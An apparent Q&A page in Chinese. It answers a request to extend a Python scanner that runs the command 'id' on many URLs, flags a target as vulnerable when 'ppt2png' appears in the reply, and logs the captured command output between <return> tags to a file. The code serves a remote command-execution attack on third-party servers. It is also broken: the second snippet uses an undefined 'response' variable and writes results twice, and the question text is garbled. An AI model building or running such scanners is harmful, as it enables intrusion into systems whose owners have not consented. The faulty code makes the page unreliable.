加一个功能如果检测到URL vulnerable的话那么打印URL vulnerable的url和responsetext中的return到return之间的字段到responsetxt中import argparseimport concurrentfuturesimport requestsdef execute_commandurl command vulnerable_urls bo
在检测到URL vulnerable的情况下,将URL和response.text中的<return到之间的字段打印到response.txt文件中,可以按照以下步骤进行修改:
- 在
execute_command函数中,添加一个判断语句来检测URL vulnerable,并将相关信息写入response.txt文件中:
if response.status_code == 200 and "ppt2png" in response.text:
vulnerable_urls.append(url)
with open('response.txt', 'a') as f:
start_index = response.text.find("<return>") + len("<return>")
end_index = response.text.find("</return>")
f.write(f"URL vulnerable: {url}\n")
f.write(response.text[start_index:end_index] + '\n')
return True
else:
return False
- 在
check_vulnerability函数中,同样添加一个判断语句来检测URL vulnerable,并将相关信息写入response.txt文件中:
if execute_command(url, 'id', vulnerable_urls):
print(f"URL vulnerable: {url}")
with open('response.txt', 'a') as f:
f.write(f"URL vulnerable: {url}\n")
start_index = response.text.find("<return>") + len("<return>")
end_index = response.text.find("</return>")
f.write(response.text[start_index:end_index] + '\n')
else:
print(f"URL not vulnerable: {url}")
这样,如果检测到URL vulnerable,相关信息将会被写入到response.txt文件中
原文地址: https://www.cveoy.top/t/topic/hAUR 著作权归作者所有。请勿转载和采集!